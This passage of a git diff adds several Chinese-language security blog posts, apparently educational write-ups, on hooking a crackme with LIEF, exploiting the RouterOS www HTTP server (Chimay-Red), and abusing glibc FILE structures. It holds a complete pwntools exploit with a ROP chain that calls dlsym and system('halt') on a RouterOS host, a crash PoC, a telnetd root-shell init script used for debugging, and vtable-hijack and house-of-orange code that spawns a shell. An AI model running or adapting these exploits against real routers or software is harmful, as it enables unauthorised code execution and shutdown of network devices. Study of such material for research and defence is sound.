打印内容。 +``` +#include "arch/x86_64/syscall.c" +#define stdout 1 + +//gcc -nostdlib -nodefaultlibs -fPIC -Wl,-shared hook.c -o hook + +int my_memcmp(const void* lhs, const void* rhs, int n) { + const char msg[] = "Hook add\n"; + _write(stdout, msg, sizeof(msg)); + _write(stdout, (const char*)lhs, n); + _write(stdout, "\n", 2); + _write(stdout, (const char*)rhs, n); + _write(stdout, "\n", 2); + return 0; +} + +``` + +hook 脚本 +``` +import lief + +crackme = lief.parse("crackme.bin") +hook = lief.parse("hook") + +segment_added = crackme.add(hook.segments[0]) + +my_memcmp = hook.get_symbol("my_memcmp") +my_memcmp_addr = segment_added.virtual_address + my_memcmp.value + +crackme.patch_pltgot('memcmp', my_memcmp_addr) +crackme.write("crackme.hooked") + +``` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1510065926275fzlkcrtw.png?imageslim) +参考: + +https://lief.quarkslab.com/doc/tutorials/ + +https://github.com/lunixbochs/patchkit \ No newline at end of file diff --git a/source/_posts/pwn_router_os_step_exp.md b/source/_posts/pwn_router_os_step_exp.md new file mode 100644 index 00000000..15cdd591 --- /dev/null +++ b/source/_posts/pwn_router_os_step_exp.md @@ -0,0 +1,338 @@ +--- +title: 一步一步 Pwn RouterOS之exploit构造 +authorId: hac425 +tags: + - rop by dlsym + - rop by strncpy +categories: + - pwn_router_os +date: 2018-01-06 00:48:00 +--- +### 前言 + +--- +本文由 **本人** 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 + +--- + +前面已经分析完漏洞,并且搭建好了调试环境,本文将介绍如何利用漏洞写出 `exploit` + +### 正文 + + +**控制 eip** + +看看我们现在所拥有的能力 + + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15151713048316b66g6te.png?imageslim) + +我们可以利用 `alloca` 的 `sub esp *` 把栈抬高,然后往 那里写入数据。 + +现在的问题是我们栈顶的上方有什么重要的数据是可以修改的。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515171497999x0f7vynu.png?imageslim) + +一般情况下,我们是没办法利用的,因为 栈上面就是 堆, 而他们之间的地址是不固定的。 + +为了利用该漏洞,需要了解一点多线程实现的机制,不同线程拥有不同的线程栈, 而线程栈的位置就在 进程的 栈空间内。线程栈 按照线程的创建顺序,依次在 栈上排列。线程栈的大小可以指定。默认大概是 8MB. + +写了一个小程序,测试了一下。 +``` +#include +#include +#include +#include +#define MAX 10 +pthread_t thread[2]; +pthread_mutex_t mut; +int number=0, i; +void *thread1() +{ + int a; + printf("thread1 %p\n", &a); +} +void *thread2() +{ + int a; + printf("thread2 %p\n", &a); +} +void thread_create(void) +{ + int temp; + memset(&thread, 0, sizeof(thread)); //comment1 + /*创建线程*/ + if((temp = pthread_create(&thread[0], NULL, thread1, NULL)) != 0) //comment2 + printf("线程1创建失败!\n"); + else + printf("线程1被创建\n"); + if((temp = pthread_create(&thread[1], NULL, thread2, NULL)) != 0) //comment3 + printf("线程2创建失败"); + else + printf("线程2被创建\n"); +} +void thread_wait(void) +{ + /*等待线程结束*/ + if(thread[0] !=0) { //comment4 + pthread_join(thread[0],NULL); + printf("线程1已经结束\n"); + } + if(thread[1] !=0) { //comment5 + pthread_join(thread[1],NULL); + printf("线程2已经结束\n"); + } +} +int main() +{ + /*用默认属性初始化互斥锁*/ + pthread_mutex_init(&mut,NULL); + printf("我是主函数哦,我正在创建线程,呵呵\n"); + thread_create(); + printf("我是主函数哦,我正在等待线程完成任务阿,呵呵\n"); + thread_wait(); + return 0; +} +``` + +就是打印了两个线程中的栈内存地址信息,然后相减,就可以大概知道线程栈的大小。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515171997712kemr24ne.png?imageslim) + +多次运行发现,线程栈之间应该是相邻的,因为打印出来的值的差是固定的。 + + +线程栈也是可以通过 `pthread_attr_setstacksize` 设置, 在 `RouterOs` 的 `www`的 `main` 函数里面就进行了设置。 + + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515172296024czdw05qh.png?imageslim) + +所以在 `www` 中的线程栈的大小 为 `0x20000`。 + + +当我们同时开启两个 `socket` 连接时,进程的栈布局 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515172554545mn6hijda.png?imageslim) + +此时在 `线程 1` 中触发漏洞,我们就能修改 `线程 2` 的数据。 + +现在的思路就很简单了,我们去修改 线程2 中的某个返回地址, 然后进行 `rop`.为了精确控制返回地址。先使用 `cyclic` 来确定返回地址的偏移.因为该程序线程栈的大小为 `0x20000` 所以用一个大一点的值试几次就能试出来。 +``` +from pwn import * + +def makeHeader(num): + return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n" + + +s1 = remote("192.168.2.124", 80) +s2 = remote("192.168.2.124", 80) + + +s1.send(makeHeader(0x20900)) +sleep(0.5) +pause() +s2.send(makeHeader(0x100)) +sleep(0.5) +pause() + +s1.send(cyclic(0x2000)) +sleep(0.5) +pause() + +s2.close() # tigger +pause() +``` + +崩溃后的位置 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515203525302ht7bhy5u.png?imageslim) + +然后用 `eip` 的值去计算下偏移 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515203624359611r5xlg.png?imageslim) + +然后调整 `poc` 测试一下 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515203798622buq6fgpb.png?imageslim) + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515203815266tllctxmq.png?imageslim) + +ok, 接下来就是 `rop` 了。 + + +**rop** + + +程序中没有 `system`, 所以我们需要先拿到 `system` 函数的地址,然后调用 `system` 执行命令即可。 + +这里采取的 `rop` 方案如下。 + +- 首先 通过 `rop` 调用 `strncpy` 设置我们需要的字符串(我们只有一次输入机会) +- 然后调用 `dlsym` , 获取 `system` 的函数 +- 调用 `system` 执行命令 + + +使用 `strncpy` 设置我们需要的字符串的思路非常有趣。 因为我们只有一次的输入机会,而`dlsym` 和 `system` 需要的参数都是 字符串指针, 所以我们必须在 调用它们之前把 需要的字符串事先布置到已知的地址,使用 `strncpy` 我们可以使用 程序文件中自带的一些字符来拼接字符串。 + + +下面看看具体的 `exp` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515204586149s7886t42.png?imageslim) + +首先这里使用 了 `ret 0x1bb` 用来把栈往下移动了一下,因为程序运行时会修改其中的一些值,导致 `rop` 链被破坏,把栈给移下去就可以绕过了。(这个自己调 `rop` 的时候注意看就知道了。) + +首先我们得设置 `system` 字符串 和 要执行的命令 这里为 `halt`(关机命令)。 以 `system` 字符串 的构造为例。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515204942477uir3mq2s.png?imageslim) +分3次构造了 `system` 字符串,首先设置 `sys` , 然后 `te` , 最后 `m`. + +同样的原理设置好 `halt` , 然后调用 `dlsym` 获取 `system` 的地址。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15152051616411xqvk27b.png?imageslim) +执行 `dlsym(0, "system") ` 即可获得 `system` 地址, 函数返回时保存在 `eax`, 所以接下来 在栈上设置好参数(`halt` 字符串的地址) 然后 `jmp eax` 即可。 + +下面调试看看 +首先 `ret 0x1bb`, 移栈 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515205323369xyzljof1.png?imageslim) + +然后是执行 `strncpy` 设置 `system`. + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515205402433o5soeoxp.png?imageslim) + +设置完后,我们就有了 `system` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515205476774vuyjgswn.png?imageslim) + +然后执行 `dlsym(0, "system") ` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515205601990727005zg.png?imageslim) + +执行完后, `eax` 保存着 `system` 函数的地址 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515205780535xi426xmw.png?imageslim) + +然后利用 `jmp eax` 调用 `system("halt")`. + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515205845365jiu6x47t.png?imageslim) + +运行完后,系统就关机了。 + + + +### 最后 +理解了多线程的机制。 对于不太好计算的,可以猜个粗略的值,然后使用 `cyclic` 来确定之。 `strncpy` 设置字符串的技巧不错。 `dlsym(0, "system")` 可以用来获取函数地址。调试 `rop` 时要细心,`rop` 链被损坏使用 `ret *` 之类的操作绕过之。一些不太懂的东西,写个小的程序测试一下。 + + + +**exp** + +``` +from pwn import * + +def makeHeader(num): + return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n" + + +s1 = remote("192.168.2.124", 80) +s2 = remote("192.168.2.124", 80) + + +s1.send(makeHeader(0x20900)) +sleep(0.5) +pause() +s2.send(makeHeader(0x100)) +sleep(0.5) +pause() + + + +strncpy_plt = 0x08050D00 +dlsym_plt = 0x08050C10 + +system_addr = 0x0805C000 + 2 +halt_addr = 0x805c6e0 + +#pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret +# .text:08059C03 pop ebx +# .text:08059C04 pop esi +# .text:08059C05 pop ebp +# .text:08059C06 retn +ppp_addr = 0x08059C03 +pp_addr = 0x08059C04 +pppppr_addr = 0x080540b4 +# 0x0805851f : ret 0x1bb +ret_38 = 0x0804ae8c +ret_1bb = 0x0805851f +ret = 0x0804818c +# make system str + +payload = "" +payload += p32(ret_1bb) # for bad string +payload += p32(ret) +payload += "A" * 0x1bb +payload += p32(ret) # ret + + +payload += p32(strncpy_plt) +payload += p32(pppppr_addr) +payload += p32(system_addr) +payload += p32(0x0805ab58) # str syscall +payload += p32(3) +payload += "B" * 8 # padding + + +payload += p32(strncpy_plt) +payload += p32(pppppr_addr) +payload += p32(system_addr + 3) +payload += p32(0x0805b38d) # str tent +payload += p32(2) +payload += "B" * 8 # padding + + + +payload += p32(strncpy_plt) +payload += p32(pppppr_addr) +payload += p32(system_addr + 5) +payload += p32(0x0805b0ec) # str mage/jpeg +payload += p32(1) +payload += "B" * 8 # padding + + +payload += p32(strncpy_plt) +payload += p32(pppppr_addr) +payload += p32(halt_addr) +payload += p32(0x0805670f) +payload += p32(2) +payload += "B" * 8 # padding + + +payload += p32(strncpy_plt) +payload += p32(pppppr_addr) +payload += p32(halt_addr + 2) +payload += p32(0x0804bca1) +payload += p32(2) +payload += "B" * 8 # padding + + +# call dlsym(0, "system") get system addr +payload += p32(dlsym_plt) +payload += p32(pp_addr) +payload += p32(0) +payload += p32(system_addr) + +payload += p32(0x0804ab5b) +payload += "BBBB" # padding ret +payload += p32(halt_addr) + + + +s1.send(cyclic(1612) + payload + "B" * 0x100) +sleep(0.5) +pause() +s2.close() + +pause() +``` + + +**参考** + + +https://github.com/BigNerd95/Chimay-Red \ No newline at end of file diff --git a/source/_posts/pwn_routeros_step_2_poc.md b/source/_posts/pwn_routeros_step_2_poc.md new file mode 100644 index 00000000..3ed7e993 --- /dev/null +++ b/source/_posts/pwn_routeros_step_2_poc.md @@ -0,0 +1,186 @@ +--- +title: 一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc +authorId: hac425 +tags: + - diff + - setup env +categories: + - pwn_router_os +date: 2018-01-05 23:13:00 +--- +### 前言 + + +--- +本文由 **本人** 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 + +--- + +本文分析 `Vault 7` 中泄露的 `RouterOs` 漏洞。漏洞影响 `6.38.5` 以下的版本。 + +``` +What's new in 6.38.5 (2017-Mar-09 11:32): +!) www - fixed http server vulnerability; +``` + +文中涉及的文件: + +链接: https://pan.baidu.com/s/1i5oznSh 密码: 9r43 + + +### 正文 + + +**补丁对比&&漏洞分析** + +首先我们先来看看漏洞的原理,漏洞位于 `www` 文件。 + +我们需要拿到 `www` 文件, 直接用 `binwalk` 提取出 `router os` 镜像文件的所有内容。 + +``` +binwalk -Me mikrotik-6.38.4.iso +``` +然后在提取出的文件中搜索即可。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515165746693cgztdv73.png?imageslim) + +同样的方法提取出 `mikrotik-6.38.5.iso` 中的 `www` 文件。 + +然后使用 `diaphora` 插件 对 这两个文件进行补丁比对 (因为 `6.38.5` 正好修复了漏洞) + + +首先打开 `www_6384` (6.38.4版本的文件), 然后使用 `diaphora` 导出 `sqlite` 数据库, `diaphora` 使用这个数据库文件进行 `diff` 操作。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515166093523oxrusj58.png?imageslim) + + +然后打开 `www_6385` (6.38.5版本的文件),使用 `diaphora` 进行 `diff` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515166195628syhogd51.png?imageslim) + +找到相似度比较低的函数 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515165950046enxkrdzl.png?imageslim) + +选中要查看差异的 条目 ,然后右键 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515166256270id9v1odu.png?imageslim) +可以选择查看 `diff` 的选项,使用 `diff pseudo-code` 就可以对 `伪c` 代码 `diff` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515166371796rzohbnad.png?imageslim) + +对比 `diff` 可以发现, 修复漏洞后的程序 没有了 `alloca`, 而是直接使用 `string::string` 构造了 字符串。 + +下面直接分析 `www_6384` . + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515166511848had11egp.png?imageslim) +获取 `content-length` 的值之后,就传给了 `alloca` 分配内存。 + +这里和前文不同的是,这里 `alloca`的参数是 无符号数。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515166646043t0iiacnt.png?imageslim) +所以我们能修改的是栈顶以上的数据,触发崩溃的poc. + +**poc** + +``` +from pwn import * +def makeHeader(num): + return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n" +s1 = remote("192.168.2.124", 80) +s1.send(makeHeader(-1) + "A" * 1000) +``` + +注:ip 按实际情况设置 + + +**调试环境搭建&&Poc测试** + + +首先我们得先安装 `routeros`, 使用 `vmware` 加载 `iso` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/151516721340747r1xr5x.png?imageslim) + +注: `routeros` 是 32 位的, 硬盘类型要为 `ide` 否则会找不到驱动。 + +然后开启虚拟机,就会进入 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515167336617v46o0ig8.png?imageslim) + +按 `a`选择所有 ,然后按 `i` 进行安装,然后一直输入 `y` 确定即可。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515167432691gf6rqz53.png?imageslim) +安装完成后,重启,就会进入 登录界面了,使用 `admin` 和空密码登录即可。 + +然后输入 `setup` ,接着输入 `a`, 按照提示配置好 `ip` 地址。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515167541207kvenwy3d.png?imageslim) +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515167628938ab0thmw5.png?imageslim) + +然后就可以使用 `ssh` 登录了。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515167693696iosa57jc.png?imageslim) + + +`Router Os ` 对 `linux` 做了大量的裁剪,所以我们需要给系统增加一些文件方便进行调试,`busybox` 和 `gdbserver` (文件在百度云内)。 + + +要增加文件需要使用一个 `live-cd` 版的 `linux` 挂载 `router os` 的磁盘分区,增加文件。这里使用了 `ubuntu`. + + +关闭虚拟机,设置光盘镜像,然后修改引导为 光盘即可进入 `live-cd`。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515168110904jefbfa9f.png?imageslim) + + +选择 `try ubuntu`, 进入系统后,挂载 `/dev/sda1` 和 `/dev/sda2` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515168515234ev3kupe7.png?imageslim) + +把 `busybox` 和 `gdbserver` 放到 `bin` 目录(不是在`/dev/sda1` 就是在 `/dev/sda2` )下,然后在 `etc` 目录下新建 `rc.d/run.d/S99own `, 内容为 + +``` +#!/bin/bash +mkdir /ram/mybin +/flash/bin/busybox-i686 --install -s /ram/mybin +export PATH=/ram/mybin:$PATH +telnetd -p 23000 -l bash +``` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515168595733d7l2hl3n.png?imageslim) + +`umount` 然后去掉光盘, 重新启动,应该就可以 `telnet 192.168.2.124 23000` 连接了。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515168775379dbz2ytfl.png?imageslim) + +此时使用 + +`gdbserver.i686 192.168.2.124:5050 --attach $(pidof www)` + +如图 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515168937045jx5tlvv1.png?imageslim) + + +然后 gdb 连上去。 + + +``` +target remote 192.168.2.124:5050 +``` + + +- +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515168983975bczey67j.png?imageslim) + + + +运行`poc`,程序崩溃。 + + + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515169108092kn41spn7.png?imageslim) + + + +参考: + +https://github.com/BigNerd95/Chimay-Red/ \ No newline at end of file diff --git a/source/_posts/pwn_with_file_part1.md b/source/_posts/pwn_with_file_part1.md new file mode 100644 index 00000000..2a7916e0 --- /dev/null +++ b/source/_posts/pwn_with_file_part1.md @@ -0,0 +1,335 @@ +--- +title: Pwn with File结构体(一) +authorId: hac425 +tags: + - file struct +categories: + - ctf +date: 2017-12-07 16:33:00 +--- +### 前言 + + +--- +本文由 **本人** 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274/ + +--- + + +利用 `FILE` 结构体进行攻击,在现在的 `ctf` 比赛中也经常出现,最近的 `hitcon2017` 又提出了一种新的方式。本文对该攻击进行总结。 + +### 正文 +首先来一张 `_IO_FILE ` 结构体的结构 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512636924331hh06dby3.png?imageslim) + +`_IO_FILE_plus` 等价于 `_IO_FILE` + `vtable` + +调试着来看看(64 位) + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/151263718616115jrxm3q.png?imageslim) + +`vtable` 指向的位置是一组函数指针 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15126373161775c8fyo38.png?imageslim) +**利用 `vtable` 进行攻击** + +通过一个 `uaf` 的示例代码来演示 + +``` +#include +#include + +void pwn(void) +{ + system("sh"); +} + +// 用于伪造 vtable +void * funcs[] = { + NULL, // "extra word" + NULL, // DUMMY + exit, // finish + NULL, // overflow + NULL, // underflow + NULL, // uflow + NULL, // pbackfail + NULL, // xsputn + NULL, // xsgetn + NULL, // seekoff + NULL, // seekpos + NULL, // setbuf + NULL, // sync + NULL, // doallocate + NULL, // read + NULL, // write + NULL, // seek + pwn, // close + NULL, // stat + NULL, // showmanyc + NULL, // imbue +}; + +int main(int argc, char * argv[]) +{ + FILE *fp; // _IO_FILE 结构体 + unsigned char *str; + + printf("sizeof(FILE): 0x%x\n", sizeof(FILE)); + + /* _IO_FILE + vtable_ptr 分配一个 _IO_FILE_plus 结构体 */ + str = malloc(sizeof(FILE) + sizeof(void *)); + printf("freeing %p\n", str); + free(str); + + /*打开一个文件,会分配一个 _IO_FILE_plus 结构体 , 会使用刚刚 free 掉的内存*/ + if (!(fp = fopen("/dev/null", "r"))) { + perror("fopen"); + return 1; + } + printf("FILE got %p\n", fp); + + /* 取得地址 */ + printf("_IO_jump_t @ %p is 0x%08lx\n", + str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE))); + + /* 修改 vtable 指针 */ + *(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs; + printf("_IO_jump_t @ %p now 0x%08lx\n", + str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE))); + + /* 调用 fclose 触发 close */ + fclose(fp); + + return 0; +} + +``` + +- 首先分配一个 `_IO_FILE_plus` 大小的内存块 +- 然后释放掉调用 `fopen` 分配 `_IO_FILE_plus` 结构体 +- 修改 `fp` 的 `vtable` 指针到我们布局的地址 +- 调用 `fclose` 函数, 进而调用 `pwn` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512637077462pn33x6eg.png?imageslim) + +调试可以看到,分配的大小为 `0xf0`(也就是 `0xe0+0x10`) 和`_IO_FILE_plus` 的大小是一样的 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/151263746988846mmixxo.png?imageslim) + +`free` 掉后,调用 `fopen` 会占用这个内存 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512637720387deshksip.png?imageslim) + +查看 `vtable` 也是符合预期 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15126377713979pirrqdn.png?imageslim) + +替换`vtable`指针之后 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15126378684082t5esiwh.png?imageslim) + +`close` 函数已经被修改为 `pwn` 函数,最后调用 `fclose` 函数,就会调用 `pwn` 函数 + + +**house of orange** + +为了便于调试,使用 [how2heap](https://raw.githubusercontent.com/shellphish/how2heap/master/house_of_orange.c) 的代码进行调试分析。 + + +``` +#include +#include +#include + +int winner ( char *ptr); + +int main() +{ + + + char *p1, *p2; + size_t io_list_all, *top; + + // 首先分配一个 0x400 的 chunk + p1 = malloc(0x400-16); + + // 拿到 top chunk的地址 + top = (size_t *) ( (char *) p1 + 0x400 - 16); + // 修改 top chunk 的 size + top[1] = 0xc01; + + // 触发 syscall 的 _int_free, top_chunk 放到了 unsort bin + p2 = malloc(0x1000); + + // 根据 fd 指针的偏移计算 io_list_all 的地址 + io_list_all = top[2] + 0x9a8; + + // 修改 top_chunk 的 bk 为 io_list_all - 0x10 , 后面会触发 + top[3] = io_list_all - 0x10; + + /* + 设置 fp 指针指向位置 开头 为 /bin/sh + */ + + memcpy( ( char *) top, "/bin/sh\x00", 8); + + // 修改 top chunk 的 大小 为 0x60 + top[1] = 0x61; + + /* + 为了可以正常调用 overflow() ,需要满足一些条件 + fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base + */ + + _IO_FILE *fp = (_IO_FILE *) top; + + fp->_mode = 0; + fp->_IO_write_base = (char *) 2; + fp->_IO_write_ptr = (char *) 3; + + + // 设置虚表 + size_t *jump_table = &top[12]; // controlled memory + jump_table[3] = (size_t) &winner; + *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8 + + // 再次 malloc, fastbin, smallbin都找不到需要的大小,会遍历 unsort bin 把它们添加到对应的 bins 中去 + // 之前已经把 top->bk 设置为 io_list_all - 0x10, 所以会把 io_list_all 的值 设置为 fd, + // 也就是 main_arena+88 + // _IO_FILE_plus + 0x68 --> _china , main_arena+88 + 0x68 为 smallbin[5], 块大小为 0x60 + // 所以要把 top的 size 设置为 0x60 + malloc(10); + + return 0; +} + +int winner(char *ptr) +{ + system(ptr); + return 0; +} + + +``` + + + +代码的流程如下: +- 首先分配 `0x400` 字节的块 +- 修改 `top chunk` 的 `size` 域为 `0xc01` +- `malloc(0x1000)` 触发 `_int_free` , `top` 被放到了 `unsorted bin` , 下面称它为 `old_top` +- 布局 `old_top` , 设置 `bk = io_list_all - 0x10 ` , 把`old_top`伪造成一个 `_IO_FILE_plus`,并设置好`vtable` +- `malloc(10)` 由于此时 `fastbin` , `smallbin` 均为空,所以会进入遍历 `unsorted bin` ,并根据相应的大小放到对应的 `bin` 中。上一步设置 `old_top` 大小为 `0x60` , 所以在放置`old_top` 过程中,先通过 `unsorted bin attack` 修改 `io_list_all` 为 `fd也就是 main_arena->top` , 然后 `old_top` 会被链到 `smallbin[5]` (大小为 0x60 ), 接着继续遍历 `unsorted bin `,这一步 会 `abort`,原理下面说, 然后会遍历 `io_list_all` 调用 ` _IO_OVERFLOW (fp, EOF) `. 伪造 `vtable` getshell。 + +**下面调试分析之** + +参考断点: + +``` +break main +bp genops.c:775 +bp malloc.c:3472 +``` +调试到 + +``` +23 p2 = malloc(0x1000); + +``` +`top chunk` 的 `size` 已经被修改,`unsorted bin` 还是空的。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512649343374w57z9tul.png?imageslim) + +单步步过,发现 `top` 已经被 添加到 `unsorted bin` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512649474593kp7jamb4.png?imageslim) +然后就是一系列的伪造 `_IO_FILE_plus` 操作, 直接运行到 +``` + 62 malloc(10); + +``` +看看布局好后的结果 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512649649115pufiaajo.png?imageslim) + +`vtable` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15126496905714c9muqxc.png?imageslim) +可以看到 `__overflow` 被设置为 `winner` 函数,所以只要调用 `__overflow` 就会调用 `winner` 。 + + +下面看看,怎么通过堆布局实现 `getshell` + +在 `malloc.c:3472` 下好断点,运行,会被断下来。 + +这里是遍历 ` unsorted bin` 的流程。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512650027099nn0durlb.png?imageslim) + +会进入这里原因在于此时 `fastbin` , `smallbin` 均为空,不能满足分配的需求,接着就会进入这里。 + +这里会有一个 `check` ,过不去就会 `malloc_printerr` ,进而 `abort` 。 + +第一次进入这里是可以过去的,然后会根据大小把 `victim` 放到合适的 `bin` 中,之前我们已经 把 `old_top` 的大小设置成了 `0x60`, 这里他就会被放到 `smallbin[5]` 里。 + +同时插入之前会先从`unsorted bin` 中 `unlink` (unsorted bin attack) ,这时可以 往 `victim->bk + 0x10` 写入 `victim->fd`, 之前我们已经设置 `victim->bk 为 _IO_list_all-0x10`, 所以在这里就可以 修改 `_IO_list_all` 为 `main_arena->top` + +第一次遍历 `unsorted bin`, 从 `unsorted bin` 移除时的相关变量,内存数据。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512651092965lxj5dz39.png?imageslim) + +可以看到 `bck` 会成为`unsorted bin` 的起始位置,然后 +``` +bck->fd = unsorted_chunks (av); +``` + +而且此时 `bck->fd ` 为 `_IO_list_all`。 + +继续运行,再次断在了 `malloc.c:3472`。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512651546282hwz6e5ug.png?imageslim) + +可以看到,此时的 `_IO_list_all` 已经被修改成了 ``, `old_top` 被放到了 `smallbin[5]`, 而且此时 `victim->size` 为0, 所以下面会进入 `abort` 的流程。 + + +我们来看看,此时构造的 `_IO_list_all` 的内容 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512652089939d3g3frdi.png?imageslim) + +`_IO_list_all` 偏移 `0x68` 为 `_chain` ,这也是之前设置 `old_top` 大小为 `0x60` 的原因。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512652147336uaktzxn6.png?imageslim) +这样就成功把 `old_top` 链入了 `_IO_list_all`。 + + +下面看看该怎么拿 `shell` +在 `abort` 函数中会调用 `fflush(null)` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512652347680zoy5v0u2.png?imageslim) + +实际调用的是 `_IO_flush_all_lockp` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512652528433f4lzgdak.png?imageslim) + +遍历 `_IO_list_all` 调用 ` _IO_OVERFLOW (fp, EOF) `,其实就是调用 `fp->vtable->__overflow(fp,eof)` + +第一次执行循环时,可以看上面的 `_IO_list_all` 数据,发现进入不了 `_IO_OVERFLOW` 这个判断,所以`_IO_list_all` 第一项的 `vtable` 中的数据是坏的也没有关系。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512653250943jy3lqm1y.png?imageslim) + +第二次循环,通过 `fp = fp->_chain` 找到我们的 `old_top`, 我们已经在这布局好了数据。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512653351122a7sdg8oj.png?imageslim) + +运行 `getshell` + +### 总结 +`FILE` 结构体是一个很好的攻击目标,学习一下很有必要 +调试时,尽可能用最小的代码复现问题。 + +参考链接: + +http://www.evil0x.com/posts/13764.html + +https://securimag.org/wp/news/buffer-overflow-exploitation/ + +https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/ + +http://repo.thehackademy.net/depot_ouah/fsp-overflows.txt + +http://blog.angelboy.tw/ \ No newline at end of file diff --git a/source/_posts/pwn_with_file_part2.md b/source/_posts/pwn_with_file_part2.md new file mode 100644 index 00000000..8bcc7106 --- /dev/null +++ b/source/_posts/pwn_with_file_part2.md @@ -0,0 +1,185 @@ +--- +title: Pwn with File结构体(二) +authorId: hac425 +tags: + - file struct +categories: + - ctf +date: 2017-12-07 21:36:00 +--- +### 前言 + + +--- +本文由 **本人** 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274/ + +--- + +最新版的 `libc` 中会对 `vtable` 检查,所以之前的攻击方式,告一段落。下面介绍一种,通过修改 `_IO_FILE` 实现任意地址读和任意地址写的方式。 + +### 正文 + +`_IO_FILE` 通过这些指针,来读写数据。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512654157088d9edyn3q.png?imageslim) +如果我们修改了它们,然后通过一些文件读写函数时,我们就能实现 任意地址读写。 + + **任意地址读** + + ![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512656021050j3vjc54v.png?imageslim) + + 代码示例 + ``` + #include +#include + +int main(int argc, char * argv[]) +{ + FILE *fp; + char *msg = "hello_file"; + + char *buf = malloc(100); + read(0, buf, 100); + fp = fopen("key.txt", "rw"); + + // 设置 flag 绕过 check + fp->_flags &= ~8; + fp->_flags |= 0x800; + + // _IO_write_base write数据的起始地址, _IO_write_ptr write数据的终止地址 + fp->_IO_write_base = msg; + fp->_IO_write_ptr = msg + 6; + + //绕过检查 + fp->_IO_read_end = fp->_IO_write_base; + + // write 的目的 文件描述符, 1 --> 标准输出 + fp->_fileno = 1; + fwrite(buf, 1, 100, fp); + + return 0; +} + + ``` + ![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512656917401bhu6ayhp.png?imageslim) + + + **任意地址写** + + ![paste image](http://oy9h5q2k4.bkt.clouddn.com/15126569407780y6n1s1m.png?imageslim) + + ``` + #include +#include + +int main(int argc, char * argv[]) +{ + FILE *fp; + char msg[100]; + + char *buf = malloc(100); + fp = fopen("key.txt", "rw"); + + // 设置 flag 